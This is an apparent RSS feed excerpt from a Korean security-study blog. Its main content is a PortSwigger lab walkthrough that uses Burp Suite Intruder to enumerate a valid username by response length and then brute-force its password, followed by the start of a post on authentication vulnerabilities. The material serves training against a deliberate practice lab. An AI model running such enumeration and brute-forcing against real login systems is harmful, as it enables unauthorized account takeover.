loading=&quot;lazy&quot; width=&quot;1134&quot; height=&quot;787&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>2025-SWLUG/웹해킹</category>
      <author>호랑2D</author>
      <guid isPermaLink="true">https://tigerdemon.tistory.com/208</guid>
      <comments>https://tigerdemon.tistory.com/208#entry208comment</comments>
      <pubDate>Mon, 10 Nov 2025 21:12:16 +0900</pubDate>
    </item>
    <item>
      <title>burp suite로 Authentication vulnerabilities 실습 1</title>
      <link>https://tigerdemon.tistory.com/207</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1762757013112&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Web Application Security, Testing, &amp;amp; Scanning - PortSwigger&quot; data-og-description=&quot;PortSwigger offers tools for web application security, testing, &amp;amp; scanning. Choose from a range of security tools, &amp;amp; identify the very latest vulnerabilities.&quot; data-og-host=&quot;portswigger.net&quot; data-og-source-url=&quot;https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses&quot; data-og-url=&quot;https://portswigger.net&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Web Application Security, Testing, &amp;amp; Scanning - PortSwigger&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;PortSwigger offers tools for web application security, testing, &amp;amp; scanning. Choose from a range of security tools, &amp;amp; identify the very latest vulnerabilities.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;portswigger.net&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 문제 링크로 들어가면 아래와 같이 뜬다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1140&quot; data-origin-height=&quot;699&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bwPuca/dJMcaiBEACU/DYhajwEh3wbaiFqxyDEMr1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bwPuca/dJMcaiBEACU/DYhajwEh3wbaiFqxyDEMr1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bwPuca/dJMcaiBEACU/DYhajwEh3wbaiFqxyDEMr1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbwPuca%2FdJMcaiBEACU%2FDYhajwEh3wbaiFqxyDEMr1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1140&quot; height=&quot;699&quot; data-origin-width=&quot;1140&quot; data-origin-height=&quot;699&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ACCESS THE LAB 버튼을 클릭하면 아래 사진처럼 뜬다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1709&quot; data-origin-height=&quot;838&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LXhog/dJMcaihlUzu/e3dkCQDgiPwUXkkgRkJpYk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LXhog/dJMcaihlUzu/e3dkCQDgiPwUXkkgRkJpYk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LXhog/dJMcaihlUzu/e3dkCQDgiPwUXkkgRkJpYk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLXhog%2FdJMcaihlUzu%2Fe3dkCQDgiPwUXkkgRkJpYk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1709&quot; height=&quot;838&quot; data-origin-width=&quot;1709&quot; data-origin-height=&quot;838&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 사진 속 My account로 가서 id에는 test 비밀번호에는 1234를 입력했다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dfQMZa/dJMcae0kdmg/0btOBYIf225zSGYxwe6AL0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dfQMZa/dJMcae0kdmg/0btOBYIf225zSGYxwe6AL0/img.png&quot; data-origin-width=&quot;1014&quot; data-origin-height=&quot;575&quot; data-is-animation=&quot;false&quot; style=&quot;width: 41.1429%; margin-right: 10px;&quot; data-widthpercent=&quot;42.12&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dfQMZa/dJMcae0kdmg/0btOBYIf225zSGYxwe6AL0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdfQMZa%2FdJMcae0kdmg%2F0btOBYIf225zSGYxwe6AL0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1014&quot; height=&quot;575&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xuEKI/dJMcagDP4kL/FmkfCQEDSxoCZdnjUMxg71/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xuEKI/dJMcagDP4kL/FmkfCQEDSxoCZdnjUMxg71/img.png&quot; data-origin-width=&quot;561&quot; data-origin-height=&quot;480&quot; data-is-animation=&quot;false&quot; style=&quot;width: 27.2676%; margin-right: 10px;&quot; data-widthpercent=&quot;27.92&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xuEKI/dJMcagDP4kL/FmkfCQEDSxoCZdnjUMxg71/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxuEKI%2FdJMcagDP4kL%2FFmkfCQEDSxoCZdnjUMxg71%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;561&quot; height=&quot;480&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b0GtGM/dJMcabiefuA/Z0lOOSVNkBXrxFnf4gi2SK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b0GtGM/dJMcabiefuA/Z0lOOSVNkBXrxFnf4gi2SK/img.png&quot; data-origin-width=&quot;508&quot; data-origin-height=&quot;405&quot; data-is-animation=&quot;false&quot; style=&quot;width: 29.264%;&quot; data-widthpercent=&quot;29.96&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b0GtGM/dJMcabiefuA/Z0lOOSVNkBXrxFnf4gi2SK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb0GtGM%2FdJMcabiefuA%2FZ0lOOSVNkBXrxFnf4gi2SK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;508&quot; height=&quot;405&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버퍼 스위트로 가서 로그인했던 POST로 가서 확인하고 Send to Intruder 버튼을 누른다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LfSmA/dJMcain7sni/dnhKt1JL38kXQiAP7d79jk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LfSmA/dJMcain7sni/dnhKt1JL38kXQiAP7d79jk/img.png&quot; data-origin-width=&quot;386&quot; data-origin-height=&quot;168&quot; data-is-animation=&quot;false&quot; style=&quot;width: 36.2256%; margin-right: 10px;&quot; data-widthpercent=&quot;36.65&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LfSmA/dJMcain7sni/dnhKt1JL38kXQiAP7d79jk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLfSmA%2FdJMcain7sni%2FdnhKt1JL38kXQiAP7d79jk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;386&quot; height=&quot;168&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/brdve2/dJMcaiBEAGs/n0hrJh3bNRwK9rfageY4A0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/brdve2/dJMcaiBEAGs/n0hrJh3bNRwK9rfageY4A0/img.png&quot; data-origin-width=&quot;826&quot; data-origin-height=&quot;208&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;63.35&quot; style=&quot;width: 62.6116%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/brdve2/dJMcaiBEAGs/n0hrJh3bNRwK9rfageY4A0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbrdve2%2FdJMcaiBEAGs%2Fn0hrJh3bNRwK9rfageY4A0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;826&quot; height=&quot;208&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 test를 드래그한 후 ADD 버튼을 누른다. 이후에 첫 문제 페이지에 있는 Candidate usernames를 클릭한 후 해당 내용을 복사한다. 이후에 paste 버튼을 눌러서 붙여넣기를 해주고 Start Attack을 눌러준다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/80sNZ/dJMcabCwRbE/pguiLN56012uWrYB1gOmf1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/80sNZ/dJMcabCwRbE/pguiLN56012uWrYB1gOmf1/img.png&quot; data-origin-width=&quot;562&quot; data-origin-height=&quot;585&quot; data-is-animation=&quot;false&quot; style=&quot;width: 21.1951%; margin-right: 10px;&quot; data-widthpercent=&quot;21.7&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/80sNZ/dJMcabCwRbE/pguiLN56012uWrYB1gOmf1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F80sNZ%2FdJMcabCwRbE%2FpguiLN56012uWrYB1gOmf1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;562&quot; height=&quot;585&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zMTWp/dJMcacg8rR8/4llpAxh7GbqcWOOnsZNfn0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zMTWp/dJMcacg8rR8/4llpAxh7GbqcWOOnsZNfn0/img.png&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;498&quot; data-is-animation=&quot;false&quot; style=&quot;width: 35.4418%; margin-right: 10px;&quot; data-widthpercent=&quot;36.29&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zMTWp/dJMcacg8rR8/4llpAxh7GbqcWOOnsZNfn0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzMTWp%2FdJMcacg8rR8%2F4llpAxh7GbqcWOOnsZNfn0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;498&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dL2d99/dJMcae0kdv3/SUfTLVbK7j3WhoGiGrpFd1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dL2d99/dJMcae0kdv3/SUfTLVbK7j3WhoGiGrpFd1/img.png&quot; data-origin-width=&quot;731&quot; data-origin-height=&quot;393&quot; data-is-animation=&quot;false&quot; style=&quot;width: 41.0375%;&quot; data-widthpercent=&quot;42.01&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dL2d99/dJMcae0kdv3/SUfTLVbK7j3WhoGiGrpFd1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdL2d99%2FdJMcae0kdv3%2FSUfTLVbK7j3WhoGiGrpFd1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;731&quot; height=&quot;393&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 아래와 같이 Length의 길이가 다른 것을 확인할 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;825&quot; data-origin-height=&quot;184&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kTHaz/dJMcab3Bfof/H9gxSib0rFBpKwQlK8aHbK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kTHaz/dJMcab3Bfof/H9gxSib0rFBpKwQlK8aHbK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kTHaz/dJMcab3Bfof/H9gxSib0rFBpKwQlK8aHbK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkTHaz%2FdJMcab3Bfof%2FH9gxSib0rFBpKwQlK8aHbK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;825&quot; height=&quot;184&quot; data-origin-width=&quot;825&quot; data-origin-height=&quot;184&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ar을 username에 넣어서 보내보면 아까와 다르게 Incorrect password라고 뜬다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;478&quot; data-origin-height=&quot;380&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rWAVb/dJMcacg8rYd/mCn9Goff7al8VjbRSpKJdk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rWAVb/dJMcacg8rYd/mCn9Goff7al8VjbRSpKJdk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rWAVb/dJMcacg8rYd/mCn9Goff7al8VjbRSpKJdk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrWAVb%2FdJMcacg8rYd%2FmCn9Goff7al8VjbRSpKJdk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;478&quot; height=&quot;380&quot; data-origin-width=&quot;478&quot; data-origin-height=&quot;380&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 비밀번호를 알아보려고 한다. 아까처럼 password 부분을 드래그한 후 ADD 버튼을 누른 후 Candidate passwords를 복사한 뒤 Paste 버튼을 눌러 붙여넣기를 해준다. 그리고 Start Attack을 누른다.&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ErHqo/dJMcahW25SM/43lZ7JRPDKTHVX2OI2kmbK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ErHqo/dJMcahW25SM/43lZ7JRPDKTHVX2OI2kmbK/img.png&quot; data-origin-width=&quot;672&quot; data-origin-height=&quot;587&quot; data-is-animation=&quot;false&quot; style=&quot;width: 28.6026%; margin-right: 10px;&quot; data-widthpercent=&quot;29.28&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ErHqo/dJMcahW25SM/43lZ7JRPDKTHVX2OI2kmbK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FErHqo%2FdJMcahW25SM%2F43lZ7JRPDKTHVX2OI2kmbK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;672&quot; height=&quot;587&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nekpx/dJMcahpdb6f/4YZh5EHmxFrzShFLHK2Ci0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nekpx/dJMcahpdb6f/4YZh5EHmxFrzShFLHK2Ci0/img.png&quot; data-origin-width=&quot;813&quot; data-origin-height=&quot;497&quot; data-is-animation=&quot;false&quot; style=&quot;width: 40.8704%; margin-right: 10px;&quot; data-widthpercent=&quot;41.84&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nekpx/dJMcahpdb6f/4YZh5EHmxFrzShFLHK2Ci0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fnekpx%2FdJMcahpdb6f%2F4YZh5EHmxFrzShFLHK2Ci0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;813&quot; height=&quot;497&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wYtUj/dJMcag4UpCH/p6Thzpi3NS0zhheKxyp850/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wYtUj/dJMcag4UpCH/p6Thzpi3NS0zhheKxyp850/img.png&quot; data-origin-width=&quot;377&quot; data-origin-height=&quot;334&quot; data-is-animation=&quot;false&quot; style=&quot;width: 28.2013%;&quot; data-widthpercent=&quot;28.88&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wYtUj/dJMcag4UpCH/p6Thzpi3NS0zhheKxyp850/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwYtUj%2FdJMcag4UpCH%2Fp6Thzpi3NS0zhheKxyp850%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;377&quot; height=&quot;334&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아까처럼 Length 부분이 다른 문자를 확인할 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;885&quot; data-origin-height=&quot;260&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bvuvJt/dJMcacuFGtJ/wepGqJuM3Ve6yVtz412fD0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bvuvJt/dJMcacuFGtJ/wepGqJuM3Ve6yVtz412fD0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bvuvJt/dJMcacuFGtJ/wepGqJuM3Ve6yVtz412fD0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbvuvJt%2FdJMcacuFGtJ%2FwepGqJuM3Ve6yVtz412fD0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;885&quot; height=&quot;260&quot; data-origin-width=&quot;885&quot; data-origin-height=&quot;260&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ar과 baseball을 입력해서 보내보면 문제가 풀린 것을 확인할 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WbEqz/dJMcacVJYIL/Iv9hMv9aGU9trKYbOZkTmk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WbEqz/dJMcacVJYIL/Iv9hMv9aGU9trKYbOZkTmk/img.png&quot; data-origin-width=&quot;482&quot; data-origin-height=&quot;224&quot; data-is-animation=&quot;false&quot; style=&quot;width: 46.5103%; margin-right: 10px;&quot; data-widthpercent=&quot;47.06&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WbEqz/dJMcacVJYIL/Iv9hMv9aGU9trKYbOZkTmk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWbEqz%2FdJMcacVJYIL%2FIv9hMv9aGU9trKYbOZkTmk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;482&quot; height=&quot;224&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nZaMX/dJMcaaQ9Otr/58mXcd3fNlFloVVR7Q59EK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nZaMX/dJMcaaQ9Otr/58mXcd3fNlFloVVR7Q59EK/img.png&quot; data-origin-width=&quot;765&quot; data-origin-height=&quot;316&quot; data-is-animation=&quot;false&quot; style=&quot;width: 52.3269%;&quot; data-widthpercent=&quot;52.94&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nZaMX/dJMcaaQ9Otr/58mXcd3fNlFloVVR7Q59EK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnZaMX%2FdJMcaaQ9Otr%2F58mXcd3fNlFloVVR7Q59EK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;765&quot; height=&quot;316&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>2025-SWLUG/웹해킹</category>
      <author>호랑2D</author>
      <guid isPermaLink="true">https://tigerdemon.tistory.com/207</guid>
      <comments>https://tigerdemon.tistory.com/207#entry207comment</comments>
      <pubDate>Mon, 10 Nov 2025 17:00:28 +0900</pubDate>
    </item>
    <item>
      <title>Authentication vulnerabilities 정의 및 공격 기법</title>
      <link>https://tigerdemon.tistory.com/206</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;Authentication vulnerabilities 정의&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;공격자가 민감한 데이터와 기능에 접근하도록 허용할 수 있게 하는 보안 결함&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추가적인 공격 표면을 노출해 더 큰 침투로 이어질 수 있다. 이런 이유로 인증 취약점을 식별하고 악용하는 방법, 일반적인 조치를 우회하는 방법을 배우는 것이 중요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;해당 주제에서 설명하고자 하는 것&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;웹 사이트에서 흔히 쓰이는 인증 메커니즘들&lt;/li&gt;
